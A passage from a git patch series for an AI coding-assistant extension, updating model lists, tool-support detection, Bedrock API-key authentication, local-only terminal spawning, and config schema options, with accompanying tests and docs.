AllMediaTypes, - regex: /gemini-3-pro-preview/i, + regex: /gemini-3\.1-flash-lite-preview/i, recommendedFor: ["chat"], }, + { + model: "gemini-3.1-flash-image-preview", + displayName: "Gemini 3.1 Flash Image Preview", + description: "Image generation model with improved visual quality.", + contextLength: 1048576, + maxCompletionTokens: 65536, + mediaTypes: AllMediaTypes, + regex: /gemini-3\.1-flash-image-preview/i, + recommendedFor: ["chat"], + }, + // Gemini 3 series { model: "gemini-3-flash-preview", displayName: "Gemini 3 Flash Preview", description: - "Next-generation Flash model with strong reasoning and fast inference.", + "High-speed thinking model for agentic workflows, multi-turn chat, and coding.", contextLength: 1048576, maxCompletionTokens: 65536, mediaTypes: AllMediaTypes, regex: /gemini-3-flash-preview/i, recommendedFor: ["chat"], }, + // Gemini 2.5 series (deprecating June 17, 2026) { model: "gemini-2.5-pro", displayName: "Gemini 2.5 Pro", @@ -80,6 +104,7 @@ export const Gemini: ModelProvider = { regex: /gemini-2\.5-flash-lite/i, recommendedFor: ["chat"], }, + // Gemini 2.0 series (deprecating June 1, 2026) { model: "gemini-2.0-flash", // stable gemini-2.0-flash-001 displayName: "Gemini 2.0 Flash", @@ -101,79 +126,6 @@ export const Gemini: ModelProvider = { regex: /^gemini-2\.0-flash-lite$/i, recommendedFor: ["chat"], }, - { - model: "gemini-2.0-flash-preview-image-generation", - displayName: "Gemini 2.0 Flash Image Generation Preview", - description: - "Model with image generation capabilities and improved visual quality", - contextLength: 32000, - maxCompletionTokens: 8192, - mediaTypes: AllMediaTypes, - regex: /gemini-2\.0-flash-preview-image-generation/i, - recommendedFor: ["chat"], - }, - { - model: "gemini-2.0-flash-exp-image-generation", - displayName: "Gemini 2.0 Flash Image Generation Experimental", - description: "Experimental model with image generation capabilities", - contextLength: 32000, - maxCompletionTokens: 8192, - mediaTypes: AllMediaTypes, - regex: /gemini-2\.0-flash-exp-image-generation/i, - recommendedFor: ["chat"], - }, - { - model: "gemini-2.0-flash-exp", - displayName: "Gemini 2.0 Flash Experimental", - description: - "Experimental version of Gemini 2.0 Flash with extended capabilities", - contextLength: 1048576, - maxCompletionTokens: 8192, - mediaTypes: AllMediaTypes, - regex: /^gemini-2\.0-flash-exp$/i, - recommendedFor: ["chat"], - }, - { - model: "gemini-1.5-flash", - displayName: "Gemini 1.5 Flash", - description: "Fast multimodal model with 1M token context window", - contextLength: 1048576, - maxCompletionTokens: 8192, - mediaTypes: AllMediaTypes, - regex: /gemini-1\.5-flash/i, - recommendedFor: ["chat"], - }, - { - model: "gemini-1.5-flash-8b", - displayName: "Gemini 1.5 Flash 8b", - description: - "Smaller version of Gemini 1.5 Flash optimized for efficiency", - contextLength: 1048576, - maxCompletionTokens: 8192, - mediaTypes: AllMediaTypes, - regex: /gemini-1\.5-flash-8b/i, - recommendedFor: ["chat"], - }, - { - model: "gemini-1.5-pro", - displayName: "Gemini 1.5 Pro", - description: - "Mid-size multimodal model capable of handling extensive inputs and complex reasoning tasks", - contextLength: 2097152, - maxCompletionTokens: 8192, - mediaTypes: AllMediaTypes, - regex: /gemini-1\.5-pro/i, - recommendedFor: ["chat"], - }, - { - model: "gemini-1.0-pro", - displayName: "Gemini 1.0 Pro", - description: "First generation Gemini pro model", - contextLength: 32768, - maxCompletionTokens: 8192, - mediaTypes: AllMediaTypes, - regex: /gemini-1\.0-pro/i, - }, // embed { model: "models/text-embedding-004", diff --git a/packages/llm-info/src/providers/vertexai.ts b/packages/llm-info/src/providers/vertexai.ts index cf334ed3a..613b2cf38 100644 --- a/packages/llm-info/src/providers/vertexai.ts +++ b/packages/llm-info/src/providers/vertexai.ts @@ -2,13 +2,49 @@ import { AllMediaTypes, ModelProvider } from "../types.js"; export const Gemini: ModelProvider = { models: [ + { + model: "gemini-3.1-pro-preview", + displayName: "Gemini 3.1 Pro Preview", + contextLength: 2097152, + maxCompletionTokens: 65536, + mediaTypes: AllMediaTypes, + regex: /gemini-3\.1-pro-preview/i, + recommendedFor: ["chat"], + }, + { + model: "gemini-3-flash-preview", + displayName: "Gemini 3 Flash Preview", + contextLength: 1048576, + maxCompletionTokens: 65536, + mediaTypes: AllMediaTypes, + regex: /gemini-3-flash-preview/i, + recommendedFor: ["chat"], + }, + { + model: "gemini-2.5-pro", + displayName: "Gemini 2.5 Pro", + contextLength: 1048576, + maxCompletionTokens: 65536, + mediaTypes: AllMediaTypes, + regex: /^gemini-2\.5-pro$/i, + recommendedFor: ["chat"], + }, + { + model: "gemini-2.5-flash", + displayName: "Gemini 2.5 Flash", + contextLength: 1048576, + maxCompletionTokens: 65536, + mediaTypes: AllMediaTypes, + regex: /^gemini-2\.5-flash$/i, + recommendedFor: ["chat"], + }, { model: "gemini-2.0-flash", displayName: "Gemini 2.0 Flash", contextLength: 1048576, maxCompletionTokens: 8192, mediaTypes: AllMediaTypes, - regex: /gemini-2\.0-flash/i, + regex: /^gemini-2\.0-flash$/i, recommendedFor: ["chat"], }, { @@ -17,34 +53,7 @@ export const Gemini: ModelProvider = { contextLength: 1048576, maxCompletionTokens: 8192, mediaTypes: AllMediaTypes, - regex: /gemini-2\.0-flash-lite/i, - recommendedFor: ["chat"], - }, - { - model: "gemini-2.0-flash-exp-image-generation", - displayName: "Gemini 2.0 Flash Image Generation", - contextLength: 32768, - maxCompletionTokens: 8192, - mediaTypes: AllMediaTypes, - regex: /gemini-2\.0-flash-exp-image-generation/i, - recommendedFor: ["chat"], - }, - - { - model: "gemini-1.5-flash", - displayName: "Gemini 1.5 Flash", - contextLength: 1048576, - maxCompletionTokens: 8192, - mediaTypes: AllMediaTypes, - regex: /gemini-1\.5-flash/i, - recommendedFor: ["chat"], - }, - { - model: "gemini-1.5-pro", - displayName: "Gemini 1.5 Pro", - contextLength: 2097152, - maxCompletionTokens: 8192, - regex: /gemini-1\.5-pro/i, + regex: /^gemini-2\.0-flash-lite$/i, recommendedFor: ["chat"], }, // embed @@ -53,13 +62,6 @@ export const Gemini: ModelProvider = { displayName: "Vertex Text Embedding", recommendedFor: ["embed"], }, - //autocomplete - { - model: "code-gecko", - displayName: "VertexAI Code Gecko", - recommendedFor: ["autocomplete"], - maxCompletionTokens: 64, - }, ], id: "gemini", displayName: "Gemini", From afa6bab1bafaf3b5dca0a126f68cff86ef713c45 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 24 Mar 2026 20:23:07 -0700 Subject: [PATCH 56/66] fix: expand tool support to reduce 'Invalid tool name' errors (#11792) fix: expand tool support to prevent "Invalid tool name" errors Models not recognized in PROVIDER_TOOL_SUPPORT fall back to a text-based tool calling format injected into the system message. When models don't follow this format exactly, the parser throws "Invalid tool name". This was affecting many models that actually support native tool calling but weren't listed. Changes: - Azure: add gpt-5, gpt-4.1, o1, o4 (was only gpt-4, o3) - Ollama: add glm-4/5, deepseek, dolphin families - DeepSeek provider: add deepseek-coder (was only chat/reasoner) - OpenRouter: add deepseek/deepseek-v3, deepseek/deepseek-coder Fixes #10678, #11594, #11431, #11218, #10900, #10272, #10156, #10143, #10050, #9891, #9839 --- core/llm/toolSupport.ts | 22 +++++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/core/llm/toolSupport.ts b/core/llm/toolSupport.ts index 3e0578a97..8c309b1c3 100644 --- a/core/llm/toolSupport.ts +++ b/core/llm/toolSupport.ts @@ -28,9 +28,14 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> = return false; }, azure: (model) => { + const lower = model.toLowerCase(); if ( - model.toLowerCase().startsWith("gpt-4") || - model.toLowerCase().startsWith("o3") + lower.startsWith("gpt-4") || + lower.startsWith("gpt-5") || + lower.startsWith("gpt-4.1") || + lower.startsWith("o1") || + lower.startsWith("o3") || + lower.startsWith("o4") ) return true; return false; @@ -210,6 +215,10 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> = "devstral", "exaone", "gpt-oss", + "glm-4", + "glm-5", + "deepseek", + "dolphin", ].some((part) => modelName.toLowerCase().includes(part)) ) { return true; @@ -270,7 +279,12 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> = deepseek: (model) => { // https://api-docs.deepseek.com/quick_start/pricing // https://api-docs.deepseek.com/guides/function_calling - if (model === "deepseek-reasoner" || model === "deepseek-chat") { + const lower = model.toLowerCase(); + if ( + lower === "deepseek-reasoner" || + lower === "deepseek-chat" || + lower.startsWith("deepseek-coder") + ) { return true; } @@ -343,6 +357,8 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> = "amazon/nova", "deepseek/deepseek-r1", "deepseek/deepseek-chat", + "deepseek/deepseek-v3", + "deepseek/deepseek-coder", "meta-llama/llama-4", "all-hands/openhands-lm-32b", "lgai-exaone/exaone", From 1aac783c4915140526c6e7da5d1109944a6c5688 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 24 Mar 2026 20:26:51 -0700 Subject: [PATCH 57/66] fix: handle thinking/assistant messages at end of chat history (#11791) * fix: handle thinking/assistant messages at end of chat history extractToolSequence threw "no user/tool message found" when the last message was thinking or assistant (common with reasoning models when assistant content is empty after thinking and gets filtered out). * fix: guard against non-string NO_PROXY env value in getEnvNoProxyPatterns Add typeof check before calling .split() on the NO_PROXY environment variable to prevent "envValue.split is not a function" errors when the value is not a string. --- core/llm/countTokens.test.ts | 44 ++++++++++++++++++++++++++++++--- core/llm/countTokens.ts | 11 ++++++++- packages/fetch/src/util.test.ts | 6 +++++ packages/fetch/src/util.ts | 2 +- 4 files changed, 57 insertions(+), 6 deletions(-) diff --git a/core/llm/countTokens.test.ts b/core/llm/countTokens.test.ts index 4cbe13a5b..fa4592cdc 100644 --- a/core/llm/countTokens.test.ts +++ b/core/llm/countTokens.test.ts @@ -298,15 +298,51 @@ describe("extractToolSequence", () => { ); }); - test("extractToolSequence should throw error when last message is not user or tool", () => { + test("extractToolSequence should handle trailing assistant message", () => { const messages: ChatMessage[] = [ createUserMessage("Hello"), createAssistantMessage("Hi there!"), ]; - expect(() => extractToolSequence(messages)).toThrow( - "Error parsing chat history: no user/tool message found", - ); + const sequence = extractToolSequence(messages); + + expect(sequence).toHaveLength(1); + expect(sequence[0].role).toBe("assistant"); + expect(messages).toHaveLength(1); + expect(messages[0].role).toBe("user"); + }); + + test("extractToolSequence should handle trailing thinking message", () => { + const messages: ChatMessage[] = [ + createUserMessage("Hello"), + { + role: "thinking", + content: "Let me think about this...", + } as ChatMessage, + ]; + + const sequence = extractToolSequence(messages); + + expect(sequence).toHaveLength(1); + expect(sequence[0].role).toBe("thinking"); + expect(messages).toHaveLength(1); + expect(messages[0].role).toBe("user"); + }); + + test("extractToolSequence should collect full trailing thinking+assistant turn", () => { + const messages: ChatMessage[] = [ + createUserMessage("Hello"), + { role: "thinking", content: "Let me think..." } as ChatMessage, + createAssistantMessage("Hi there!"), + ]; + + const sequence = extractToolSequence(messages); + + expect(sequence).toHaveLength(2); + expect(sequence[0].role).toBe("thinking"); + expect(sequence[1].role).toBe("assistant"); + expect(messages).toHaveLength(1); + expect(messages[0].role).toBe("user"); }); test("extractToolSequence should throw error when messages array is empty", () => { diff --git a/core/llm/countTokens.ts b/core/llm/countTokens.ts index 11cfc6cb2..b742d70b0 100644 --- a/core/llm/countTokens.ts +++ b/core/llm/countTokens.ts @@ -227,7 +227,7 @@ function countChatMessageTokens( */ function extractToolSequence(messages: ChatMessage[]): ChatMessage[] { const lastMsg = messages.pop(); - if (!lastMsg || !isUserOrToolMsg(lastMsg)) { + if (!lastMsg) { throw new Error("Error parsing chat history: no user/tool message found"); } @@ -262,6 +262,15 @@ function extractToolSequence(messages: ChatMessage[]): ChatMessage[] { } } } + } else if (lastMsg.role === "assistant" || lastMsg.role === "thinking") { + toolSequence.push(lastMsg); + while ( + messages.length > 0 && + (messages[messages.length - 1].role === "thinking" || + messages[messages.length - 1].role === "assistant") + ) { + toolSequence.unshift(messages.pop()!); + } } else { // Single user message toolSequence.push(lastMsg); diff --git a/packages/fetch/src/util.test.ts b/packages/fetch/src/util.test.ts index 35c079b01..9259dba14 100644 --- a/packages/fetch/src/util.test.ts +++ b/packages/fetch/src/util.test.ts @@ -212,3 +212,9 @@ test("shouldBypassProxy handles undefined options", () => { process.env.NO_PROXY = "example.org"; expect(shouldBypassProxy("example.org", undefined)).toBe(true); }); + +test("shouldBypassProxy handles non-string NO_PROXY value", () => { + // In some environments, env values may not be strings + (process.env as any).NO_PROXY = 1234; + expect(shouldBypassProxy("example.com", undefined)).toBe(false); +}); diff --git a/packages/fetch/src/util.ts b/packages/fetch/src/util.ts index dc302bf12..ed18cb6a3 100644 --- a/packages/fetch/src/util.ts +++ b/packages/fetch/src/util.ts @@ -31,7 +31,7 @@ export function getProxy( export function getEnvNoProxyPatterns(): string[] { const envValue = process.env.NO_PROXY || process.env.no_proxy; - if (envValue) { + if (envValue && typeof envValue === "string") { return envValue .split(",") .map((item) => item.trim().toLowerCase()) From cf48e74084aa187bab30d501301a3e1da9b7f338 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 24 Mar 2026 20:27:39 -0700 Subject: [PATCH 59/66] feat(bedrock): support Bedrock API key authentication (#11798) Add bearer token authentication for Bedrock API keys as an alternative to IAM credentials, enabling users to authenticate without exposing AWS access keys. Closes #6645 --- core/llm/llms/Bedrock.ts | 54 +++++++++---------- .../model-providers/top-level/bedrock.mdx | 18 +++++++ 2 files changed, 44 insertions(+), 28 deletions(-) diff --git a/core/llm/llms/Bedrock.ts b/core/llm/llms/Bedrock.ts index 98ad4e6f3..bc9566cbe 100644 --- a/core/llm/llms/Bedrock.ts +++ b/core/llm/llms/Bedrock.ts @@ -70,6 +70,29 @@ class Bedrock extends BaseLLM { }; } + private async _getClient(): Promise { + if (this.apiKey) { + // Bedrock API key authentication (bearer token) + return new BedrockRuntimeClient({ + region: this.region, + endpoint: this.apiBase, + token: async () => ({ token: this.apiKey! }), + }); + } + + // IAM credential authentication + const credentials = await this._getCredentials(); + return new BedrockRuntimeClient({ + region: this.region, + endpoint: this.apiBase, + credentials: { + accessKeyId: credentials.accessKeyId, + secretAccessKey: credentials.secretAccessKey, + sessionToken: credentials.sessionToken || "", + }, + }); + } + protected async *_streamComplete( prompt: string, signal: AbortSignal, @@ -86,16 +109,7 @@ class Bedrock extends BaseLLM { signal: AbortSignal, options: CompletionOptions, ): AsyncGenerator { - const credentials = await this._getCredentials(); - const client = new BedrockRuntimeClient({ - region: this.region, - endpoint: this.apiBase, - credentials: { - accessKeyId: credentials.accessKeyId, - secretAccessKey: credentials.secretAccessKey, - sessionToken: credentials.sessionToken || "", - }, - }); + const client = await this._getClient(); let config_headers = this.requestOptions && this.requestOptions.headers @@ -600,15 +614,7 @@ class Bedrock extends BaseLLM { // EMBED // async _embed(chunks: string[]): Promise { - const credentials = await this._getCredentials(); - const client = new BedrockRuntimeClient({ - region: this.region, - credentials: { - accessKeyId: credentials.accessKeyId, - secretAccessKey: credentials.secretAccessKey, - sessionToken: credentials.sessionToken || "", - }, - }); + const client = await this._getClient(); return ( await Promise.all( @@ -683,15 +689,7 @@ class Bedrock extends BaseLLM { } try { - const credentials = await this._getCredentials(); - const client = new BedrockRuntimeClient({ - region: this.region, - credentials: { - accessKeyId: credentials.accessKeyId, - secretAccessKey: credentials.secretAccessKey, - sessionToken: credentials.sessionToken || "", - }, - }); + const client = await this._getClient(); // Base payload for both models const payload: any = { diff --git a/docs/customize/model-providers/top-level/bedrock.mdx b/docs/customize/model-providers/top-level/bedrock.mdx index 5791ec519..a263aba32 100644 --- a/docs/customize/model-providers/top-level/bedrock.mdx +++ b/docs/customize/model-providers/top-level/bedrock.mdx @@ -77,6 +77,24 @@ Prompt caching is not supported in JSON configuration files, so use the YAML syn ## How to Set Up Authentication for Amazon Bedrock +### Bedrock API Keys + +[Bedrock API keys](https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html) let you authenticate without IAM credentials. Set your API key via the `apiKey` field: + +```yaml title="config.yaml" +models: + - name: Claude Sonnet + provider: bedrock + model: us.anthropic.claude-sonnet-4-20250514-v1:0 + apiKey: ${{ secrets.BEDROCK_API_KEY }} + env: + region: us-east-1 + roles: + - chat +``` + +### AWS Credentials + Authentication will be through temporary or long-term credentials in `~/.aws/credentials` under a configured profile (e.g. "bedrock"). From c79e6489a71b00cb516d08d0129b0d88ea83b3e2 Mon Sep 17 00:00:00 2001 From: shanevcantwell <153727980+shanevcantwell@users.noreply.github.com> Date: Tue, 24 Mar 2026 21:33:04 -0600 Subject: [PATCH 60/66] fix: restrict terminal childProcess.spawn to local-only environments (#10538) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit fix: restrict childProcess.spawn to local-only environments childProcess.spawn executes on the extension host machine. With extensionKind: ["ui", "workspace"], the extension host almost always runs locally. For any remote workspace (SSH, WSL, Dev Container, Codespaces, tunnel), spawning locally either runs commands on the wrong machine or fails with ENOENT when the local shell doesn't exist in the extension host context. Replace ENABLED_FOR_REMOTES (which listed all remote types) with LOCAL_ONLY (just "" and "local"). All remote types now fall through to ide.runCommand() which delegates to VS Code's integrated terminal and executes in the correct remote environment. The isWindowsHostWithRemote guard is removed as it is now redundant — the platform-agnostic check handles all cases. Co-authored-by: Claude Opus 4.6 --- .../implementations/runTerminalCommand.ts | 40 ++++------ .../runTerminalCommand.vitest.ts | 74 +++++++------------ 2 files changed, 42 insertions(+), 72 deletions(-) diff --git a/core/tools/implementations/runTerminalCommand.ts b/core/tools/implementations/runTerminalCommand.ts index 2e8889a50..8f6201bd1 100644 --- a/core/tools/implementations/runTerminalCommand.ts +++ b/core/tools/implementations/runTerminalCommand.ts @@ -97,17 +97,14 @@ const getColorEnv = () => ({ CLICOLOR_FORCE: "1", }); -const ENABLED_FOR_REMOTES = [ - "", - "local", - "wsl", - "dev-container", - "devcontainer", - "ssh-remote", - "attached-container", - "codespaces", - "tunnel", -]; +// Only spawn processes locally when there is no remote workspace. +// With extensionKind: ["ui", "workspace"], the extension host almost always +// runs on the local machine. childProcess.spawn() executes on the extension +// host, so for any remote workspace it would run commands on the wrong machine +// (or fail with ENOENT when the local shell doesn't match the remote OS). +// All remote types delegate to ide.runCommand() which routes through VS Code's +// integrated terminal and executes in the correct remote environment. +const LOCAL_ONLY = ["", "local"]; export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { const command = getStringArg(args, "command"); @@ -118,17 +115,7 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { const ideInfo = await extras.ide.getIdeInfo(); const toolCallId = extras.toolCallId || ""; - // When the extension host runs on Windows but connects to a remote workspace - // (WSL, Dev Container, SSH, etc.), we can't spawn shells directly — the - // platform is "win32" but commands should run in the remote's Linux/macOS. - // Use ide.runCommand() instead to let VS Code handle the remote execution. - const isWindowsHostWithRemote = - process.platform === "win32" && !["", "local"].includes(ideInfo.remoteName); - - if ( - ENABLED_FOR_REMOTES.includes(ideInfo.remoteName) && - !isWindowsHostWithRemote - ) { + if (LOCAL_ONLY.includes(ideInfo.remoteName)) { // For streaming output if (extras.onPartialOutput) { try { @@ -566,16 +553,17 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { } } - // For remote environments, just run the command - // Note: waitForCompletion is not supported in remote environments yet + // For remote environments (SSH, WSL, Dev Container, Codespaces, etc.), + // delegate to VS Code's integrated terminal which handles remote execution. + // Note: output capture and waitForCompletion are not yet supported for remotes. await extras.ide.runCommand(command); return [ { name: "Terminal", description: "Terminal command output", content: - "Terminal output not available. This is only available in local development environments and not in SSH environments for example.", - status: "Command failed", + "Command executed in remote terminal. Output capture is not yet available for remote environments.", + status: "Command executed", }, ]; }; diff --git a/core/tools/implementations/runTerminalCommand.vitest.ts b/core/tools/implementations/runTerminalCommand.vitest.ts index ea502f7c0..1f5b668db 100644 --- a/core/tools/implementations/runTerminalCommand.vitest.ts +++ b/core/tools/implementations/runTerminalCommand.vitest.ts @@ -271,11 +271,8 @@ describe("runTerminalCommandImpl", () => { // In remote environments, it should use the IDE's runCommand expect(mockRunCommand).toHaveBeenCalledWith("echo 'test'"); - // Match the actual output message - expect(result[0].content).toContain("Terminal output not available"); - expect(result[0].content).toContain("SSH environments"); - // Verify status field indicates command failed in remote environments - expect(result[0].status).toBe("Command failed"); + expect(result[0].content).toContain("Command executed in remote terminal"); + expect(result[0].status).toBe("Command executed"); }); it("should handle errors when executing invalid commands", async () => { @@ -608,7 +605,7 @@ describe("runTerminalCommandImpl", () => { }); describe("remote environment handling", () => { - it("should use ide.runCommand for non-enabled remote environments", async () => { + it("should use ide.runCommand for remote environments", async () => { const extras = createMockExtras({ remoteName: "some-unsupported-remote", }); @@ -619,7 +616,9 @@ describe("runTerminalCommandImpl", () => { ); expect(mockRunCommand).toHaveBeenCalledWith("echo test"); - expect(result[0].content).toContain("Terminal output not available"); + expect(result[0].content).toContain( + "Command executed in remote terminal", + ); }); it("should handle local environment with file URIs", async () => { @@ -633,50 +632,33 @@ describe("runTerminalCommandImpl", () => { ).resolves.toBeDefined(); }); - it("should handle WSL environment", async () => { - mockGetWorkspaceDirs.mockResolvedValue(["file:///home/user/workspace"]); + it("should use ide.runCommand for WSL environment", async () => { + // WSL is a remote — commands should execute in WSL, not on the host + const extras = createMockExtras({ remoteName: "wsl" }); - await expect( - runTerminalCommandImpl( - { command: "echo test", waitForCompletion: false }, - createMockExtras({ remoteName: "wsl" }), - ), - ).resolves.toBeDefined(); + const result = await runTerminalCommandImpl( + { command: "echo test" }, + extras, + ); + + expect(mockRunCommand).toHaveBeenCalledWith("echo test"); + expect(result[0].content).toContain( + "Command executed in remote terminal", + ); }); - it("should use ide.runCommand when Windows host connects to WSL", async () => { - // When extension runs on Windows but connects to WSL, we can't spawn - // shells directly - must use ide.runCommand instead - const originalPlatform = process.platform; - Object.defineProperty(process, "platform", { value: "win32" }); + it("should use ide.runCommand for dev-container environment", async () => { + const extras = createMockExtras({ remoteName: "dev-container" }); - try { - const extras = createMockExtras({ remoteName: "wsl" }); + const result = await runTerminalCommandImpl( + { command: "echo test" }, + extras, + ); - const result = await runTerminalCommandImpl( - { command: "echo test" }, - extras, - ); - - // Should fall back to ide.runCommand, not try to spawn powershell.exe - expect(mockRunCommand).toHaveBeenCalledWith("echo test"); - expect(result[0].content).toContain("Terminal output not available"); - } finally { - Object.defineProperty(process, "platform", { - value: originalPlatform, - }); - } - }); - - it("should handle dev-container environment", async () => { - mockGetWorkspaceDirs.mockResolvedValue(["file:///workspace"]); - - await expect( - runTerminalCommandImpl( - { command: "echo test", waitForCompletion: false }, - createMockExtras({ remoteName: "dev-container" }), - ), - ).resolves.toBeDefined(); + expect(mockRunCommand).toHaveBeenCalledWith("echo test"); + expect(result[0].content).toContain( + "Command executed in remote terminal", + ); }); }); From 653c6b9e5b6122785ba296f971234b8ed36dcd70 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Wed, 25 Mar 2026 08:52:20 -0700 Subject: [PATCH 61/66] fix: remove Llama 3.1 405B from Groq provider (#11804) * fix: remove Llama 3.1 405B from Groq provider The model `llama3.1-405b` is no longer available on Groq, causing 404 errors. Remove it from the Groq provider packages and provider options. Closes #10832 * Remove llama3.1-405b from Groq model list in config_schema.json --------- Co-authored-by: continue[bot] <230936708+continue[bot]@users.noreply.github.com> --- extensions/vscode/config_schema.json | 1 - gui/src/pages/AddNewModel/configs/models.ts | 2 +- gui/src/pages/AddNewModel/configs/providers.ts | 1 - 3 files changed, 1 insertion(+), 3 deletions(-) diff --git a/extensions/vscode/config_schema.json b/extensions/vscode/config_schema.json index 3fc8ca019..0b9811c9e 100644 --- a/extensions/vscode/config_schema.json +++ b/extensions/vscode/config_schema.json @@ -1320,7 +1320,6 @@ "llama3-70b", "llama3.1-8b", "llama3.1-70b", - "llama3.1-405b", "AUTODETECT" ] } diff --git a/gui/src/pages/AddNewModel/configs/models.ts b/gui/src/pages/AddNewModel/configs/models.ts index 3b8b7d0ea..5d42c49c9 100644 --- a/gui/src/pages/AddNewModel/configs/models.ts +++ b/gui/src/pages/AddNewModel/configs/models.ts @@ -737,7 +737,7 @@ export const models: { [key: string]: ModelPackage } = { contextLength: 8192, }, icon: "meta.png", - providerOptions: ["groq", "nebius"], + providerOptions: ["nebius"], isOpenSource: false, }, llama3170bNemotron: { diff --git a/gui/src/pages/AddNewModel/configs/providers.ts b/gui/src/pages/AddNewModel/configs/providers.ts index 88b245cbd..3c2c23d1d 100644 --- a/gui/src/pages/AddNewModel/configs/providers.ts +++ b/gui/src/pages/AddNewModel/configs/providers.ts @@ -564,7 +564,6 @@ Select the \`GPT-4o\` model below to complete your provider configuration, but n }, ], packages: [ - models.llama31405bChat, models.llama3170bChat, models.llama318bChat, { ...models.mixtralTrial, title: "Mixtral" }, From b85c82103e374bc158664f84b660aa63175323d4 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Wed, 25 Mar 2026 10:29:14 -0700 Subject: [PATCH 62/66] fix: add keepAlive to YAML completion options schema (#11801) * fix: add keepAlive to YAML completion options schema The keepAlive property was present in the JSON config schema but missing from the YAML config schema, causing it to be silently stripped during zod validation when users configured it under defaultCompletionOptions. Closes #4671 * Document keepAlive option in YAML config reference --------- Co-authored-by: continue[bot] <230936708+continue[bot]@users.noreply.github.com> --- docs/reference.mdx | 1 + packages/config-yaml/src/schemas/models.ts | 1 + 2 files changed, 2 insertions(+) diff --git a/docs/reference.mdx b/docs/reference.mdx index fd6f4e4ec..30b4c0ca8 100644 --- a/docs/reference.mdx +++ b/docs/reference.mdx @@ -110,6 +110,7 @@ The `models` section defines the language models used in your configuration. Mod - `stop`: An array of stop tokens that will terminate the completion. - `reasoning`: Boolean to enable thinking/reasoning for Anthropic Claude 3.7+ and some Ollama models. - `reasoningBudgetTokens`: Budget tokens for thinking/reasoning in Anthropic Claude 3.7+ models. + - `keepAlive`: For Ollama, the number of seconds to keep the model loaded after the last request (default: `1800`). - `requestOptions`: HTTP request options specific to the model. diff --git a/packages/config-yaml/src/schemas/models.ts b/packages/config-yaml/src/schemas/models.ts index 89856e35c..8d3555829 100644 --- a/packages/config-yaml/src/schemas/models.ts +++ b/packages/config-yaml/src/schemas/models.ts @@ -59,6 +59,7 @@ export const completionOptionsSchema = z.object({ reasoningBudgetTokens: z.number().optional(), promptCaching: z.boolean().optional(), stream: z.boolean().optional(), + keepAlive: z.number().optional(), }); export type CompletionOptions = z.infer; From f7437593fdeb85fceb81d069835c6a3a90276c3a Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Wed, 25 Mar 2026 10:29:26 -0700 Subject: [PATCH 63/66] fix(llama.cpp): include model name in completion request body (#11803) The llama.cpp provider was not sending the `model` field in the request body, causing 400 errors ("model name is missing from the request") when using llama-server's model router feature. Fixes #11244 Fixes #10846 --- core/llm/llms/LlamaCpp.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/core/llm/llms/LlamaCpp.ts b/core/llm/llms/LlamaCpp.ts index 76fbfdd76..962cfa75f 100644 --- a/core/llm/llms/LlamaCpp.ts +++ b/core/llm/llms/LlamaCpp.ts @@ -39,6 +39,7 @@ class LlamaCpp extends BaseLLM { method: "POST", headers, body: JSON.stringify({ + model: this.model, prompt, stream: true, ...this._convertArgs(options, prompt), From 3fdf35e0c1b87b5f56bfa7ec78dd915babe83ada Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Wed, 25 Mar 2026 10:29:40 -0700 Subject: [PATCH 64/66] fix(moonshot): add reasoning_content field support for Kimi models (#11806) Kimi-K2.5 returns 400 errors when thinking is enabled because reasoning_content is missing from assistant tool call messages. This adds the supportsReasoningContentField flag (as a getter gated on kimi-* models) matching the existing DeepSeek fix, so legacy moonshot-v1-* models are unaffected. Fixes #11600 Fixes #11711 --- core/llm/llms/Moonshot.ts | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/core/llm/llms/Moonshot.ts b/core/llm/llms/Moonshot.ts index 2235b5ac2..966aeb02e 100644 --- a/core/llm/llms/Moonshot.ts +++ b/core/llm/llms/Moonshot.ts @@ -6,6 +6,13 @@ import OpenAI from "./OpenAI.js"; class Moonshot extends OpenAI { static providerName = "moonshot"; + + constructor(options: LLMOptions) { + super(options); + this.supportsReasoningContentField = + this.model?.startsWith("kimi") ?? false; + } + static defaultOptions: Partial = { apiBase: "https://api.moonshot.cn/v1/", model: "moonshot-v1-8k", From d6259a73046775d90e2440117ee05cc439f26d04 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Wed, 25 Mar 2026 12:26:52 -0700 Subject: [PATCH 65/66] fix: respect contextLength from YAML model config (#11807) * fix: respect contextLength from YAML model config Three fixes for contextLength not being respected: 1. Add contextLength to YAML model schema at the model level (not just inside defaultCompletionOptions), matching JSON config behavior 2. Read contextLength from both model-level and defaultCompletionOptions, with model-level taking precedence 3. Fix GUI selector fallback using DEFAULT_MAX_TOKENS (4096) instead of DEFAULT_CONTEXT_LENGTH (32768) Closes #4638 Closes #4304 * fix: reduce complexity in modelConfigToBaseLLM Replace find callbacks with includes() to offset complexity from contextLength nullish coalescing. * docs: document contextLength at model level in config.yaml reference * docs: consistently show contextLength in defaultCompletionOptions for YAML YAML examples use defaultCompletionOptions.contextLength, JSON examples use model-level contextLength. Also fixes ollama guide using the wrong key name (completionOptions -> defaultCompletionOptions). * refactor: extract env options into helper to reduce complexity Extract the repetitive env-to-options mapping from modelConfigToBaseLLM into a separate applyEnvOptions function, bringing complexity well under the limit of 36. --- core/config/yaml/models.ts | 85 +++++++++---------- .../model-providers/more/cloudflare.mdx | 6 +- docs/guides/ollama-guide.mdx | 4 +- gui/src/redux/slices/configSlice.ts | 4 +- packages/config-yaml/src/schemas/models.ts | 1 + packages/config-yaml/src/validation.ts | 14 ++- 6 files changed, 54 insertions(+), 60 deletions(-) diff 